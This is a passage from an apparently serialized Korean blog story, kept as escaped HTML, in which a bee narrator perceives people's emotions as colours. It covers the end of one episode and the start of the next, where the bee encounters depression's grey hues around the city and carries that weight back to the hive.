&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;​나는 그 모습을 끝까지 지켜보았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 비로소, 천천히 뒤로 물러났다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보는 것만으로도 세계는 조금 바뀐다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 아무 말도 할 수 없지만, 누군가를 다른 눈으로 다시 보겠다고 마음먹는 순간,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;적어도 내 세계는 이미 어제와 같을 수 없기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;누군가는 말할 것이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;그까짓 벌 한 마리가 윙&amp;mdash; 하고 날았다고, 뭐가 달라지냐고.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나도 안다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내가 이 도시를 구했다고 믿는다면, 그건 착각일 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래도 이렇게 생각해 본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어쩌면 세상을 바꾸는 것은 대단한 힘이 아니라,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;누군가를 바라보는 시선을 한 번 더 유예하는 능력일지도 모른다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘 끝이라고 믿은 사람에게, &amp;lsquo;아직 아니다&amp;rsquo;라고 속삭이는 눈 하나.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 치료자가 아니다. 나는 관측자에 가깝다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그런데 이상하게도, 끝까지 지켜보려는 마음이 어쩌면 가장 작은 치료에 가까운지도 모른다는 생각을 요즘 자주 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;​내가 본 색을 아무에게도 설명할 수 없다는 사실이, 나를 자주 외롭게 만든다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래도 본다는 건, 여전히 선물에 가깝다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보지 못했다면, 이 도시가 이렇게 버티고 있다는 걸 믿지 못했을 테니까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃과 인간 사이&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 다시 하늘로 올랐다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옥상과 벌집, 도시와 꽃 사이를 잇는 얇은 길 위에서.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 꽃을 위해 태어났지만, 인간의 빛을 먼저 보게 됐다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 가끔은 죄책감이 든다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 솔직히 말하면, 이제 꽃 없는 세계는 상상하기 어렵다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃과 인간, 둘 다 보는 눈이 되어 버렸으니까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내가 할 수 있는 일은 크지 않다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그저 조금 더 보고, 조금 더 기억하고, 가끔 아주 작게 개입하는 것뿐.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 언젠가, 오늘 난간 위에서 쌓인 바이올렛과 옐로우, 마젠타의 얇은 층이&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영의 몸 안에서 조금씩 섞여, 지금과는 다른 색을 만들어 낼지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그날, 그녀 주변에서 새어 나오는 빛을 나는 또 보게 될 것이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그때 나는, 오늘의 이 작은 날갯짓을 떠올릴 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 생각만으로도, 나는 충분히 높이, 충분히 멀리 날아가 볼 용기가 생겼다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시는 계속 색을 갈아입을 것이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 나는, 그 색들이 어떻게 서로를 바꾸어 가는지 지켜볼 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관측자로서, 그리고 아주 조금은, 개입하는 자로서.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;4편 〈우울의 꽃밭〉&amp;nbsp;&lt;/span&gt;&lt;/h2&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시는 낮이 깊어질수록, 색을 조금씩 잃어간다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아침에는 옐로우가 깔려 있고, 점심에는 흰빛이 번지고, 퇴근 무렵이 되면 그 사이사이를 잿빛이 메운다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 그 잿빛을 처음에는 단순한 피로라고만 생각했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 지영을 보고 난 뒤로는, 잿빛이 모두 같은 잿빛이 아니라는 걸 알게 되었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어떤 잿빛은 잠깐 쉬면 걷히지만, 어떤 잿빛은 몸에 붙어 떨어지지 않는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘 나는, 그런 잿빛을 더 가까이 보고 싶었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우울과 불안이 어디에서 피고, 어디에서 시드는지.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 꽃밭이 어디까지 이어져 있는지.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;거리 &amp;ndash; 걱정의 그린, 침묵의 블루&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;점심시간이 막 지난 거리였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;사람들은 각자의 식당에서 흘러 나와, 카페와 사무실 사이를 서둘러 오가고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;머리 위에 떠 있는 색들은 대체로 블루와 그린 사이 어딘가였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;논리와 침묵, 관계와 지침이 뒤섞인 색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서로에게 예의 바른 미소를 건네면서도, 마음은 각자의 방향으로 흩어지고 있는 빛.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;신호등 앞에, 혼자 서 있는 남자가 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;정장을 입고, 휴대폰 화면을 내려다보는 그의 머리 위에는 탁한 그린이 얹혀 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관계에 지친 그린, 누군가와 연결되어 있으면서도 동시에 질려 있는 색.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그의 손목에서 진동이 울릴 때마다, 그린 속에 살짝 레드가 스쳤다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;답장하지 않은 메시지, 읽고도 모른 척 지나친 말, 아직 끝내지 못한 대화들이 내는 분노와 피로.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 그 레드는 금방 그린에게 삼켜졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;폭발하기에는 이미 너무 지쳐 있는 에너지.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;조금 떨어진 곳에서, 두 사람이 벤치에 나란히 앉아 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;둘의 머리 위에는 블루가 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;말이 거의 오가지 않는, 예의 바른 침묵의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 그 블루는 내가 알고 있는 평화로운 블루와는 조금 달랐다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;차가운 물 아래 잠긴 돌 같은 느낌.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;겉으로 보기에는 고요하지만, 그 아래로는 말하지 못한 말들이 가라앉아 있는 색. &lt;/span&gt;&lt;a href=&quot;https://ixdf.org/literature/topics/color-symbolism&quot;&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;ixdf&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 생각보다 많은 사람들이, 그린과 블루의 사이 어딘가에서 하루를 버티고 있다는 걸 알게 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우울은 검푸른 한 덩어리가 아니라, 때로는 이런 색들 사이를 조금씩 옮겨 다니는 잔향일지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;카페 &amp;ndash; 달콤한 마젠타, 지친 마젠타&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영의 카페 안은, 바깥보다 따뜻한 색을 가지고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;크림색 벽, 나무 테이블의 브라운, 커피 향이 만들어내는 옅은 오렌지.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 색들은 손님들의 어깨를 잠시 내려앉게 만드는 역할을 하고 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 나는 알게 되었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공간이 따뜻하다고 해서, 그 안에 있는 마음까지 모두 따뜻한 것은 아니라는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;창가 쪽, 혼자 앉아 있는 여자가 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그녀의 머리 위에는 마젠타가 떠 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;포용과 고독, 쉼의 색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;긴 시간 동안 누군가를 돌보다가, 오늘만큼은 자신을 위해 앉아 있는 사람에게서 자주 보이는 빛이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그녀의 마젠타는 달콤하면서도 무거웠다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;책을 펼쳐 들고 있지만, 페이지는 잘 넘어가지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;창밖을 바라볼 때마다, 마젠타 속에서 약간의 그린과 블루가 섞였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;쉬고 싶지만, 온전히 쉬어도 되는지 잘 모르겠는 사람의 색이구나.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 그녀의 어깨를 한 바퀴 돌았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그녀가 머리를 살짝 흔들며 한숨을 내쉬는 순간, 마젠타가 조금 옅어졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;고독 속에서 잠깐의 포용을 허락하는 듯한, 그런 빛이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;반대편 구석에는, 노트북을 펼쳐 놓고 일하는 사람이 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그의 머리 위에도 마젠타가 떠 있었지만, 색결이 전혀 달랐다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 마젠타는 지쳐 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;포용이라기보다는, 자기 자신도 돌볼 힘이 없는 상태에서 억지로 버티는 색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;눈 밑의 그늘에서 바이올렛이 조금씩 올라오고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;혼란과 방향 상실의 색.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 깨달았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;같은 마젠타라도, 어떤 것은 쉼으로 이어지고, 어떤 것은 더 깊은 우울로 흘러 갈 수 있다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 카페는 따뜻한 오렌지와 크림색 아래, 다양한 마젠타와 블루, 그린이 겹겹이 쌓여 있는 작은 꽃밭이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;달콤한 꽃도 있었고, 이미 지고 있는 꽃도 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;병원의 바깥 &amp;ndash; 떨어지지 않는 잿빛&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;병원 앞 골목을 지나갈 때, 나는 낯익은 색을 보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;몇 날 며칠을 그 자리에 앉아 있는 듯한, 한 사람.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벤치에 몸을 기대 앉아, 바닥만 바라보는 그 사람의 머리 위에는 짙은 잿빛이 떠 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어제 봤던 잿빛과도, 아침 출근길에서 본 잿빛과도 달랐다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 잿빛은 거의 검정에 가까웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 천천히 그의 위를 맴돌았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그의 잿빛에는 바이올렛이 거의 보이지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;성장통조차 지나간 뒤의 공허처럼, 방향조차 잃어버린 색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;몸에서 올라오는 에너지가 아니라, 어디에서도 더 이상 올라오지 않는 정적의 색.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 본능적으로, 이 색과 너무 가까워지는 것이 두려웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 동시에, 눈을 뗄 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내가 보는 이 색을, 다른 누구도 보고 있지 않다는 사실이&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 사람을 더 외롭게 만들 것 같았기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 그의 머리 위를 맴돌며, 아주 작게 날개를 떨었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철의 레몬빛, 공원의 노란 선, 병원의 금빛 실을 떠올리며.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 이 잿빛은, 다른 색과 섞이려 하지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 그제야 깨달았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어떤 빛은 사라지지 않고, 오히려 보는 자에게 달라붙는다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 사람에게서 떨어져 나온 잿빛 일부가 내 몸에 닿는 느낌이 들었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;더듬이와 가슴께 주변이 서서히 무거워졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;날개짓이 둔해졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시는 그대로인데, 내 눈앞의 색이 반 톤쯤 어두워진 것 같았다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공감의 무게 &amp;ndash; 떨어지지 않는 색&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집으로 돌아오는 길, 나는 이상한 감각을 느꼈다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보통이라면, 꿀을 많이 모으고 돌아올수록 몸이 무거워진다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그런데 오늘은 꿀을 거의 모으지 않았는데도, 몸이 무거웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가슴께에 잿빛이 들러붙어 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;날개를 펼 때마다, 그 잿빛이 같이 흔들렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내 빛과 섞이는 것이 아니라, 내 빛 위에 얇게 덮여 있는 느낌.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복의 빛을 본 눈에는, 그 빛의 부재까지도 더 선명하게 보이기 시작한다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서일까, 오늘 본 우울과 불안의 색들이, 나에게서 떨어질 생각을 하지 않고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집 입구에 가까워질수록, 나는 걱정이 되었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 색을 그대로 들고 들어가도 괜찮을까.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꿀과 꽃 정보만 오가던 집 안으로, 인간 세상의 잿빛을 가져가도 되는 걸까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그렇다고, 밖에다 두고 들어갈 방법도 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;색은 짐처럼 내려놓을 수 있는 것이 아니었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결국 나는, 잿빛을 달고 벌집으로 들어갔다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;춤 &amp;ndash; 실패하는 번역&lt;/span&gt;&lt;/p&gt;
